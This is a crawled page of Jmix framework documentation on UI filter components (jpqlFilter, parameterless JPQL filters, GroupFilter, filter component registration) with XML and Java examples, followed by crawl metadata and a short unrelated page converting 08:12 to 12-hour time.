Below is an example of jpqlFilter with the hasInExpression attribute:
<filter id="filterJpqlFilter"
dataLoader="customersDl"
caption="JpqlFilter variations">
<properties include=".*"/>
<configurations>
<configuration id="jpqlConfigurationInExpr"
name="JpqlFilter with IN expression">
<jpqlFilter caption="City in"
parameterClass="ui.ex1.entity.City"
hasInExpression="true">
<condition>
<c:jpql>
<c:where>{E}.city in ?</c:where>
</c:jpql>
</condition>
</jpqlFilter>
</configuration>
</configurations>
</filter>
• parameterClass is a required attribute; it defines the Java class of the condition parameter.
• parameterName - the name of the associated query parameter. You can use this name to introduce dependencies between filter components in configuration. If not defined, then the parameter name is randomly generated.
To add jpqlFilter in Jmix Studio, select the Filter component in the screen descriptor XML or in the Component Hierarchy panel and click on the Add→Conditions→JPQLFilter button in the Component Inspector panel.
You can also create a design-time configuration in the screen controller class:
@Autowired
protected UiComponents uiComponents;
@Autowired
protected SingleFilterSupport singleFilterSupport;
@Autowired
protected Filter pfdtcFilter;
@Autowired
protected Filter jfdtcFilter;
@Autowired
protected JpqlFilterSupport jpqlFilterSupport;
@Autowired
protected Filter gfdtcFilter;
@Subscribe
protected void onInit(InitEvent event) {
DesignTimeConfiguration javaDefaultConfigurationJF =
jfdtcFilter.addConfiguration("javaDefaultConfiguration",
"Default configuration"); (1)
DataLoader dataLoaderJF = jfdtcFilter.getDataLoader();
JpqlFilter<Brand> jpqlFilter =
uiComponents.create(JpqlFilter.NAME); (2)
jpqlFilter.setFrame(getWindow());
jpqlFilter.setConditionModificationDelegated(true);
jpqlFilter.setDataLoader(dataLoaderJF);
jpqlFilter.setCondition("i.id = ?", "join {E}.favouriteBrands i");
jpqlFilter.setParameterClass(Brand.class);
jpqlFilter.setCaption("Select the brand");
jpqlFilter.setParameterName(jpqlFilterSupport.generateParameterName(
jpqlFilter.getId(),
jpqlFilter.getParameterClass().getSimpleName()));
jpqlFilter.setValueComponent(singleFilterSupport.generateValueComponent(
dataLoaderJF.getContainer().getEntityMetaClass(),
jpqlFilter.hasInExpression(),
jpqlFilter.getParameterClass())); (3)
javaDefaultConfigurationJF.getRootLogicalFilterComponent()
.add(jpqlFilter); (4)
jfdtcFilter.setCurrentConfiguration(javaDefaultConfigurationJF); (5)
}
1 Adds a design-time configuration with the javaDefaultConfiguration id and the Default configuration name.
2 Creates the JpqlFilter component and sets its properties.
3 Generates the filter value component by the given metaClass, and value type.
4 Adds the created jpql filter to the javaDefaultConfiguration configuration.
5 Sets the javaDefaultConfiguration configuration as current.
Filter without Parameters
It is possible to define a query without parameters. To do so, set the parameterClass value to java.lang.Void, and use java.lang.Boolean as a value:
• true value means that JPQL expressions from where and join sections will be added to the data loader query.
• false will not load expressions from where and join sections.
Example:
<filter id="parameterlessFilter"
dataLoader="customersDl"
caption="JPQL Filter without Parameters">
<properties include=".*"/>
<configurations>
<configuration id="jpqlConfigurationNoParams"
name="JPQL Filter without Parameters">
<jpqlFilter caption="Customers from London"
parameterClass="java.lang.Void"
defaultValue="true"> (1)
<condition>
<c:jpql>
<c:join>join {E}.city c</c:join> (2)
<c:where>c.name = 'London'</c:where>
</c:jpql>
</condition>
</jpqlFilter>
</configuration>
</configurations>
</filter>
1 parameterClass="java.lang.Void" makes the filter parameterless, and defaultValue="true" defines that the join and where expressions will be added to the data loader query by default.
2 Define a JPQL condition with optional join element and mandatory where element.
Below is an example of creating a parameterless JPQL filter in the screen controller class:
@Autowired
private Filter parameterlessFilter;
@Subscribe
protected void onInit(InitEvent event) {
DesignTimeConfiguration javaConfiguration = parameterlessFilter
.addConfiguration("javaConfiguration", "Java configuration");
DataLoader dataLoader = parameterlessFilter.getDataLoader();
JpqlFilter<Boolean> jpqlFilterNoParams = uiComponents.create(JpqlFilter.NAME);
jpqlFilterNoParams.setFrame(getWindow());
jpqlFilterNoParams.setConditionModificationDelegated(true);
jpqlFilterNoParams.setDataLoader(dataLoader);
jpqlFilterNoParams.setCondition("{E}.age > 21", null);
jpqlFilterNoParams.setParameterClass(Void.class);
jpqlFilterNoParams.setCaption("Customer's age > 21");
jpqlFilterNoParams.setParameterName(jpqlFilterSupport
.generateParameterName(jpqlFilterNoParams.getId(),
jpqlFilterNoParams.getParameterClass().getSimpleName()));
jpqlFilterNoParams.setValueComponent(singleFilterSupport
.generateValueComponent(dataLoader.getContainer().getEntityMetaClass(),
jpqlFilterNoParams.hasInExpression(),
jpqlFilterNoParams.getParameterClass()
));
jpqlFilterNoParams.setValue(true);
javaConfiguration.setFilterComponentDefaultValue(
jpqlFilterNoParams.getParameterName(),
jpqlFilterNoParams.getValue());
javaConfiguration.getRootLogicalFilterComponent().add(jpqlFilterNoParams);
jpqlFilterNoParams.setValue(true);
javaConfiguration.setFilterComponentDefaultValue(
jpqlFilterNoParams.getParameterName(),
jpqlFilterNoParams.getValue());
javaConfiguration.getRootLogicalFilterComponent().add(jpqlFilterNoParams);
}
The JPQL filter configuration without parameters can also be created at run-time:
jpql parameterless
GroupFilter
The GroupFilter component is a composite component that has a GroupBoxLayout with a ResponsiveGridLayout as its root container. This component is needed to combine several conditions into a logical group, using logical operators (AND or OR). The component can be used only inside the Filter component.
The example below demonstrates how to create a design-time configuration with a GroupFilter:
<filter id="filterGroupFilter"
dataLoader="customersDl"
caption="GroupFilter variations">
<properties include=".*"/>
<configurations>
<configuration id="groupFilter"
name="Simple groupFilter"
default="true">
<groupFilter operation="OR">
<propertyFilter property="age"
operation="GREATER_OR_EQUAL"
operationEditable="true"/>
<propertyFilter property="city"
operation="EQUAL"
operationEditable="true"/>
</groupFilter>
</configuration>
</configurations>
</filter>
The operation attribute is required. Two logical operations are available:
• AND is the default operation
• OR
To add groupFilter in Jmix Studio, select the Filter component in the screen descriptor XML or in the Component Hierarchy panel and click on the Add→Conditions→GroupFilter button in the Component Inspector panel.
You can also create a design-time configuration in the screen controller class:
@Autowired
protected UiComponents uiComponents;
@Autowired
protected SingleFilterSupport singleFilterSupport;
@Autowired
protected Filter pfdtcFilter;
@Autowired
protected Filter jfdtcFilter;
@Autowired
protected JpqlFilterSupport jpqlFilterSupport;
@Autowired
protected Filter gfdtcFilter;
@Subscribe
protected void onInit(InitEvent event) {
DesignTimeConfiguration javaDefaultConfigurationGF =
gfdtcFilter.addConfiguration("javaDefaultConfiguration",
"Default configuration"); (1)
DataLoader dataLoaderGF = gfdtcFilter.getDataLoader();
GroupFilter groupFilter =
uiComponents.create(GroupFilter.NAME); (2)
groupFilter.setConditionModificationDelegated(true);
groupFilter.setDataLoader(dataLoaderGF);
groupFilter.setOperation(LogicalFilterComponent.Operation.OR); (3)
PropertyFilter<Integer> pointsPropertyFilter =
uiComponents.create(PropertyFilter.NAME); (4)
pointsPropertyFilter.setConditionModificationDelegated(true);
pointsPropertyFilter.setDataLoader(dataLoaderGF);
pointsPropertyFilter.setProperty("rewardPoints");
pointsPropertyFilter.setOperation(PropertyFilter.Operation.GREATER_OR_EQUAL);
pointsPropertyFilter.setOperationEditable(true);
pointsPropertyFilter.setParameterName(PropertyConditionUtils
.generateParameterName(pointsPropertyFilter.getProperty()));
pointsPropertyFilter.setValueComponent(singleFilterSupport.generateValueComponent(
dataLoaderGF.getContainer().getEntityMetaClass(),
pointsPropertyFilter.getProperty(),
pointsPropertyFilter.getOperation()));
groupFilter.add(pointsPropertyFilter); (5)
PropertyFilter<Hobby> hobbyPropertyFilter =
uiComponents.create(PropertyFilter.NAME);
hobbyPropertyFilter.setConditionModificationDelegated(true);
hobbyPropertyFilter.setDataLoader(dataLoaderGF);
hobbyPropertyFilter.setProperty("hobby");
hobbyPropertyFilter.setOperation(PropertyFilter.Operation.EQUAL);
hobbyPropertyFilter.setOperationEditable(true);
hobbyPropertyFilter.setParameterName(PropertyConditionUtils.generateParameterName(
hobbyPropertyFilter.getProperty()));
hobbyPropertyFilter.setValueComponent(singleFilterSupport.generateValueComponent(
dataLoaderGF.getContainer().getEntityMetaClass(),
hobbyPropertyFilter.getProperty(),
hobbyPropertyFilter.getOperation()
));
groupFilter.add(hobbyPropertyFilter); (6)
javaDefaultConfigurationGF.getRootLogicalFilterComponent().add(groupFilter); (7)
PropertyFilter<Integer> agePropertyFilter =
uiComponents.create(PropertyFilter.NAME);
agePropertyFilter.setConditionModificationDelegated(true);
agePropertyFilter.setDataLoader(dataLoaderGF);
agePropertyFilter.setProperty("age");
agePropertyFilter.setOperation(PropertyFilter.Operation.GREATER_OR_EQUAL);
agePropertyFilter.setOperationEditable(true);
agePropertyFilter.setParameterName(PropertyConditionUtils.generateParameterName(
agePropertyFilter.getProperty()));
agePropertyFilter.setValueComponent(singleFilterSupport.generateValueComponent(
dataLoaderGF.getContainer().getEntityMetaClass(),
agePropertyFilter.getProperty(),
agePropertyFilter.getOperation()
));
javaDefaultConfigurationGF.getRootLogicalFilterComponent().add(agePropertyFilter);
pointsPropertyFilter.setValue(1000);
javaDefaultConfigurationGF.setFilterComponentDefaultValue(
pointsPropertyFilter.getParameterName(), 1000); (8)
hobbyPropertyFilter.setValue(Hobby.FISHING);
javaDefaultConfigurationGF.setFilterComponentDefaultValue(
hobbyPropertyFilter.getParameterName(), Hobby.FISHING);
agePropertyFilter.setValue(30);
javaDefaultConfigurationGF.setFilterComponentDefaultValue(
agePropertyFilter.getParameterName(), 30);
}
1 Adds a design-time configuration with the javaDefaultConfiguration id and the Default configuration name.
2 Creates the GroupFilter component and sets its properties.
3 Sets the OR logical operation for groupFilter.
4 Creates the PropertyFilter component and sets its properties.
5 Adds pointsPropertyFilter to groupFilter.
6 Adds hobbyPropertyFilter to groupFilter.
7 Adds the created group filter to the javaDefaultConfiguration configuration.
8 Sets a default value of pointsPropertyFilter for the javaDefaultConfiguration configuration by the parameter name.
Filter Component Registration
To create and register a UI filter component in the framework, you need the following objects:
• A component class - a UI component that will be displayed inside the Filter component. A component class should extend the FilterComponent class. As an example of a component class, consider the PropertyFilter class.
• A model class - a non-persistent class that stores the state of the filter component. A model class is used to save the filter component state in DB and display and change the state of the filter component at run-time. A model class should extend the FilterCondition class. As an example of a model class, consider the PropertyFilterCondition class.
• A converter class is needed for converting between a component and a model. A converter class should implement the FilterConverter interface.
• An edit screen - the model edit screen. If no identifier is specified, then the default identifier (for example, modelName.edit, PropertyFilterCondition.edit) will be used.
PropertyFilter registration example:
@Bean
public FilterComponentRegistration registerPropertyFilter() {
return FilterComponentRegistrationBuilder.create(PropertyFilter.class,
PropertyFilterCondition.class,
PropertyFilterConverter.class)
.withEditScreenId("ui_PropertyFilterCondition.edit")
.build();
}
All registered filter components are displayed in a popup button on the Add Condition dialog.
You can replace a filter component registered in the Jmix framework with your own implementation by specifying the @Order annotation on the FilterComponentRegistration bean (for example, to expand the set of model attributes saved by the filter).
All XML Attributes
|
{
"url": "https://docs.jmix.io/jmix/ui/vcl/components/filter-components.html",
"source_domain": "docs.jmix.io",
"snapshot_id": "CC-MAIN-2023-23",
"warc_metadata": {
"Content-Length": "108625",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:B3S3L7DYZP5XRNNIJKK2ROLX74BM5PTQ",
"WARC-Concurrent-To": "<urn:uuid:26231973-9d11-4486-8116-a973dc932cbf>",
"WARC-Date": "2023-06-06T10:16:44Z",
"WARC-IP-Address": "138.201.27.251",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:RDEFU6LE776HDUQO3WWX37LW3QNJSKXK",
"WARC-Record-ID": "<urn:uuid:9de2688e-18ff-4325-bee3-7115a4d45a9b>",
"WARC-Target-URI": "https://docs.jmix.io/jmix/ui/vcl/components/filter-components.html",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:29398c70-e679-46a2-bc33-85ec297f01c2>"
},
"warc_info": "isPartOf: CC-MAIN-2023-23\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for May/June 2023\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-52\r\nsoftware: Apache Nutch 1.19 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.4-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
}
|
{
"line_start_idx": [
0,
18,
19,
141,
142,
198,
199,
278,
279,
294,
295,
383,
384,
500,
501,
508,
573,
609,
663,
728,
749,
783,
803,
862,
883,
901,
919,
927,
975,
1012,
1050,
1099,
1134,
1159,
1213,
1255,
1305,
1352,
1413,
1472,
1501,
1527,
1541,
1551,
1552,
1771,
1772,
1852,
1853,
1864,
1901,
1902,
1913,
1964,
1975,
2005,
2016,
2046,
2057,
2104,
2115,
2145,
2156,
2197,
2254,
2323,
2373,
2432,
2433,
2479,
2537,
2601,
2653,
2697,
2766,
2817,
2903,
2951,
3036,
3098,
3144,
3197,
3260,
3302,
3303,
3351,
3405,
3470,
3523,
3569,
3639,
3691,
3778,
3827,
3913,
3975,
4022,
4069,
4077,
4166,
4167,
4240,
4242,
4350,
4414,
4508,
4590,
4652,
4653,
4703,
4704,
4715,
4716,
5173,
5174,
5266,
5267,
5315,
5360,
5423,
5434,
5503,
5543,
5601,
5670,
5695,
5733,
5757,
5820,
5845,
5867,
5889,
5901,
5953,
5991,
6032,
6081,
6120,
6149,
6203,
6249,
6299,
6351,
6418,
6454,
6491,
6567,
6605,
6642,
6676,
6709,
6739,
6757,
6771,
6781,
6829,
6911,
6912,
7122,
7123,
7153,
7186,
7227,
7258,
7279,
7333,
7385,
7440,
7502,
7530,
7559,
7627,
7679,
7709,
7738,
7764,
7789,
7811,
7821,
7822,
7873,
7874,
7959,
7960,
8054,
8055,
8299,
8300,
8374,
8375,
8409,
8446,
8491,
8526,
8551,
8607,
8672,
8718,
8782,
8834,
8866,
8899,
8960,
8994,
9027,
9057,
9086,
9112,
9126,
9224,
9225,
9444,
9445,
9656,
9657,
9737,
9738,
9749,
9786,
9787,
9798,
9849,
9860,
9890,
9901,
9931,
9942,
9989,
10000,
10030,
10041,
10082,
10139,
10208,
10258,
10317,
10318,
10353,
10407,
10445,
10501,
10545,
10616,
10663,
10710,
10783,
10815,
10877,
10954,
11016,
11058,
11108,
11109,
11172,
11206,
11279,
11281,
11389,
11449,
11528,
11606,
11668,
11669,
11695,
11696,
11845,
11846,
11958,
11959,
12025,
12026,
12035,
12036,
12069,
12102,
12152,
12183,
12204,
12258,
12320,
12376,
12432,
12481,
12509,
12538,
12599,
12660,
12690,
12719,
12745,
12770,
12792,
12802,
12987,
13069,
13070,
13162,
13163,
13174,
13210,
13211,
13222,
13263,
13331,
13405,
13470,
13471,
13554,
13600,
13664,
13714,
13773,
13827,
13885,
13943,
14006,
14076,
14137,
14221,
14271,
14322,
14330,
14331,
14370,
14424,
14475,
14519,
14520,
14599,
14600,
14639,
14693,
14744,
14788,
14789,
14868,
14870,
14871,
14953,
14954,
14973,
14974,
14986,
14987,
15289,
15290,
15383,
15384,
15415,
15448,
15490,
15521,
15542,
15582,
15631,
15670,
15711,
15758,
15819,
15878,
15926,
15976,
16035,
16062,
16087,
16109,
16119,
16120,
16195,
16196,
16229,
16230,
16237,
16238,
16451,
16452,
16532,
16533,
16544,
16581,
16582,
16593,
16644,
16655,
16685,
16696,
16726,
16737,
16784,
16795,
16825,
16836,
16877,
16934,
17003,
17053,
17112,
17113,
17143,
17198,
17255,
17300,
17371,
17372,
17423,
17481,
17547,
17601,
17655,
17737,
17790,
17855,
17928,
18015,
18077,
18125,
18176,
18177,
18224,
18225,
18273,
18327,
18392,
18445,
18491,
18561,
18613,
18700,
18749,
18835,
18897,
18944,
18991,
18999,
19045,
19130,
19131,
19179,
19233,
19296,
19347,
19389,
19468,
19518,
19603,
19650,
19734,
19796,
19841,
19886,
19894,
19895,
19982,
19983,
20024,
20087,
20151,
20152,
20201,
20264,
20332,
20333,
20369,
20432,
20487,
20489,
20597,
20658,
20707,
20771,
20815,
20858,
20937,
21054,
21055,
21085,
21086,
21181,
21182,
21403,
21404,
21758,
21759,
21905,
21906,
22083,
22084,
22121,
22122,
22128,
22190,
22265,
22308,
22351,
22416,
22438,
22440,
22441,
22535,
22536,
22783,
22784
],
"line_end_idx": [
18,
19,
141,
142,
198,
199,
278,
279,
294,
295,
383,
384,
500,
501,
508,
573,
609,
663,
728,
749,
783,
803,
862,
883,
901,
919,
927,
975,
1012,
1050,
1099,
1134,
1159,
1213,
1255,
1305,
1352,
1413,
1472,
1501,
1527,
1541,
1551,
1552,
1771,
1772,
1852,
1853,
1864,
1901,
1902,
1913,
1964,
1975,
2005,
2016,
2046,
2057,
2104,
2115,
2145,
2156,
2197,
2254,
2323,
2373,
2432,
2433,
2479,
2537,
2601,
2653,
2697,
2766,
2817,
2903,
2951,
3036,
3098,
3144,
3197,
3260,
3302,
3303,
3351,
3405,
3470,
3523,
3569,
3639,
3691,
3778,
3827,
3913,
3975,
4022,
4069,
4077,
4166,
4167,
4240,
4242,
4350,
4414,
4508,
4590,
4652,
4653,
4703,
4704,
4715,
4716,
5173,
5174,
5266,
5267,
5315,
5360,
5423,
5434,
5503,
5543,
5601,
5670,
5695,
5733,
5757,
5820,
5845,
5867,
5889,
5901,
5953,
5991,
6032,
6081,
6120,
6149,
6203,
6249,
6299,
6351,
6418,
6454,
6491,
6567,
6605,
6642,
6676,
6709,
6739,
6757,
6771,
6781,
6829,
6911,
6912,
7122,
7123,
7153,
7186,
7227,
7258,
7279,
7333,
7385,
7440,
7502,
7530,
7559,
7627,
7679,
7709,
7738,
7764,
7789,
7811,
7821,
7822,
7873,
7874,
7959,
7960,
8054,
8055,
8299,
8300,
8374,
8375,
8409,
8446,
8491,
8526,
8551,
8607,
8672,
8718,
8782,
8834,
8866,
8899,
8960,
8994,
9027,
9057,
9086,
9112,
9126,
9224,
9225,
9444,
9445,
9656,
9657,
9737,
9738,
9749,
9786,
9787,
9798,
9849,
9860,
9890,
9901,
9931,
9942,
9989,
10000,
10030,
10041,
10082,
10139,
10208,
10258,
10317,
10318,
10353,
10407,
10445,
10501,
10545,
10616,
10663,
10710,
10783,
10815,
10877,
10954,
11016,
11058,
11108,
11109,
11172,
11206,
11279,
11281,
11389,
11449,
11528,
11606,
11668,
11669,
11695,
11696,
11845,
11846,
11958,
11959,
12025,
12026,
12035,
12036,
12069,
12102,
12152,
12183,
12204,
12258,
12320,
12376,
12432,
12481,
12509,
12538,
12599,
12660,
12690,
12719,
12745,
12770,
12792,
12802,
12987,
13069,
13070,
13162,
13163,
13174,
13210,
13211,
13222,
13263,
13331,
13405,
13470,
13471,
13554,
13600,
13664,
13714,
13773,
13827,
13885,
13943,
14006,
14076,
14137,
14221,
14271,
14322,
14330,
14331,
14370,
14424,
14475,
14519,
14520,
14599,
14600,
14639,
14693,
14744,
14788,
14789,
14868,
14870,
14871,
14953,
14954,
14973,
14974,
14986,
14987,
15289,
15290,
15383,
15384,
15415,
15448,
15490,
15521,
15542,
15582,
15631,
15670,
15711,
15758,
15819,
15878,
15926,
15976,
16035,
16062,
16087,
16109,
16119,
16120,
16195,
16196,
16229,
16230,
16237,
16238,
16451,
16452,
16532,
16533,
16544,
16581,
16582,
16593,
16644,
16655,
16685,
16696,
16726,
16737,
16784,
16795,
16825,
16836,
16877,
16934,
17003,
17053,
17112,
17113,
17143,
17198,
17255,
17300,
17371,
17372,
17423,
17481,
17547,
17601,
17655,
17737,
17790,
17855,
17928,
18015,
18077,
18125,
18176,
18177,
18224,
18225,
18273,
18327,
18392,
18445,
18491,
18561,
18613,
18700,
18749,
18835,
18897,
18944,
18991,
18999,
19045,
19130,
19131,
19179,
19233,
19296,
19347,
19389,
19468,
19518,
19603,
19650,
19734,
19796,
19841,
19886,
19894,
19895,
19982,
19983,
20024,
20087,
20151,
20152,
20201,
20264,
20332,
20333,
20369,
20432,
20487,
20489,
20597,
20658,
20707,
20771,
20815,
20858,
20937,
21054,
21055,
21085,
21086,
21181,
21182,
21403,
21404,
21758,
21759,
21905,
21906,
22083,
22084,
22121,
22122,
22128,
22190,
22265,
22308,
22351,
22416,
22438,
22440,
22441,
22535,
22536,
22783,
22784,
22802
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 22802,
"ccnet_original_nlines": 501,
"rps_doc_curly_bracket": 0.0009648299892432988,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.16057482361793518,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.01936895027756691,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.3717588186264038,
"rps_doc_frac_unique_words": 0.2888889014720917,
"rps_doc_mean_word_length": 10.094444274902344,
"rps_doc_num_sentences": 304,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 5.34865665435791,
"rps_doc_word_count": 1620,
"rps_doc_frac_chars_dupe_10grams": 0.19702807068824768,
"rps_doc_frac_chars_dupe_5grams": 0.2990277111530304,
"rps_doc_frac_chars_dupe_6grams": 0.26135876774787903,
"rps_doc_frac_chars_dupe_7grams": 0.23640921711921692,
"rps_doc_frac_chars_dupe_8grams": 0.22870421409606934,
"rps_doc_frac_chars_dupe_9grams": 0.21794165670871735,
"rps_doc_frac_chars_top_2gram": 0.0055035799741744995,
"rps_doc_frac_chars_top_3gram": 0.012107869610190392,
"rps_doc_frac_chars_top_4gram": 0.011007149703800678,
"rps_doc_books_importance": -1564.16455078125,
"rps_doc_books_importance_length_correction": -1564.16455078125,
"rps_doc_openwebtext_importance": -905.9662475585938,
"rps_doc_openwebtext_importance_length_correction": -905.9662475585938,
"rps_doc_wikipedia_importance": -642.4917602539062,
"rps_doc_wikipedia_importance_length_correction": -642.4917602539062
},
"fasttext": {
"dclm": 0.04532647132873535,
"english": 0.39089709520339966,
"fineweb_edu_approx": 2.2572402954101562,
"eai_general_math": 0.40682780742645264,
"eai_open_web_math": 0.18278241157531738,
"eai_web_code": 0.6849129796028137
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.452",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "4",
"label": "Missing Images or Figures"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "23",
"label": "Tutorial"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
6,113,095,624,586,277,000 |
What time is 08:12?
Convert 08:12 to 12-hour AM/PM format
08:12 = 8:12 AM
08:12 on a 24-hour clock is is 8:12 AM on a 12-hour clock. This system is used throughout the world (not just the military) and leverages a 24-hour time clock rather than the 12-hour AM/PM system known to most English speaking countries. Below are ways to convert 08:12 through a time chart, automated converter, and how to convert the 24 hour clock into a 12-hour AM/PM system by hand.
24-hour format 12-hour format
08:12 8:12 AM
08:12 Time Conversion Chart
24 Hour Clock 12 Hour Clock (AM/PM) Military Time
08:12 8:12 0812
08:17 8:17 0817
08:22 8:22 0822
08:27 8:27 0827
08:32 8:32 0832
08:37 8:37 0837
08:42 8:42 0842
08:47 8:47 0847
08:52 8:52 0852
08:57 8:57 0857
09:02 9:02 0902
09:07 9:07 0907
09:12 9:12 0912
09:17 9:17 0917
09:22 9:22 0922
09:27 9:27 0927
How to convert 08:12 from 24-Hour Time to 12-Hour Standard Time
It is easy to convert from 24-hour time to 12-hour time once you know a few tricks. The primary difference between the two is that the hours in a 24 hour clock go all the way up to 23 (from 0 to 23). In a 12-hour clock, the hour resets to 1 after noon (midday). Follow the steps below to convert 08:12 to 12-hour time.
1. First, determine whether or not 8 is greater than 12 (recall that this is one of the distinctions of the 12-hour clock, there are no hours "greater" than 12 on it)
2. Since 8 is lower than 12, there isn't much to do! We can just add the "AM" designation to the end of the time: 8:12 AM
|
{
"url": "https://www.exactlywhatistime.com/24h-ampm-converter/what-time-is-08-12",
"source_domain": "www.exactlywhatistime.com",
"snapshot_id": "crawl=CC-MAIN-2022-33",
"warc_metadata": {
"Content-Length": "19115",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:2LFE7PXT22HJM24SNABBSEDRDBNGWJWM",
"WARC-Concurrent-To": "<urn:uuid:00c90ca3-2427-4075-89ef-789346c0bdfa>",
"WARC-Date": "2022-08-07T16:02:29Z",
"WARC-IP-Address": "159.65.170.170",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:A6WKOSNVVA2ITTY4V4WIQSERB5M34XEV",
"WARC-Record-ID": "<urn:uuid:cfde527f-abba-4ac8-abc0-f1df26ff8485>",
"WARC-Target-URI": "https://www.exactlywhatistime.com/24h-ampm-converter/what-time-is-08-12",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:3ada1719-e950-4764-b1b4-07b508afe006>"
},
"warc_info": "isPartOf: CC-MAIN-2022-33\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for August 2022\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-112\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.4-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
}
|
{
"line_start_idx": [
0,
20,
21,
59,
60,
61,
62,
78,
79,
466,
467,
497,
511,
512,
540,
541,
591,
607,
623,
639,
655,
671,
687,
703,
719,
735,
751,
767,
783,
799,
815,
831,
847,
848,
912,
913,
1232,
1233,
1402
],
"line_end_idx": [
20,
21,
59,
60,
61,
62,
78,
79,
466,
467,
497,
511,
512,
540,
541,
591,
607,
623,
639,
655,
671,
687,
703,
719,
735,
751,
767,
783,
799,
815,
831,
847,
848,
912,
913,
1232,
1233,
1402,
1525
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 1525,
"ccnet_original_nlines": 38,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.23094169795513153,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.029147980734705925,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.5201793909072876,
"rps_doc_frac_unique_words": 0.45614033937454224,
"rps_doc_mean_word_length": 3.954385995864868,
"rps_doc_num_sentences": 12,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.465456962585449,
"rps_doc_word_count": 285,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.07275953888893127,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.039929021149873734,
"rps_doc_frac_chars_top_3gram": 0.03460514917969704,
"rps_doc_frac_chars_top_4gram": 0.03371782973408699,
"rps_doc_books_importance": -176.4826202392578,
"rps_doc_books_importance_length_correction": -165.7633514404297,
"rps_doc_openwebtext_importance": -112.78062438964844,
"rps_doc_openwebtext_importance_length_correction": -112.78062438964844,
"rps_doc_wikipedia_importance": -62.07759094238281,
"rps_doc_wikipedia_importance_length_correction": -49.156524658203125
},
"fasttext": {
"dclm": 0.3054255247116089,
"english": 0.8537335991859436,
"fineweb_edu_approx": 2.521387815475464,
"eai_general_math": 0.2691394090652466,
"eai_open_web_math": 0.22035878896713257,
"eai_web_code": 0.06312202662229538
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "510",
"labels": {
"level_1": "Science and Natural history",
"level_2": "Mathematics",
"level_3": ""
}
},
"secondary": {
"code": "001.92",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Intellectual life"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "1",
"label": "Factual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
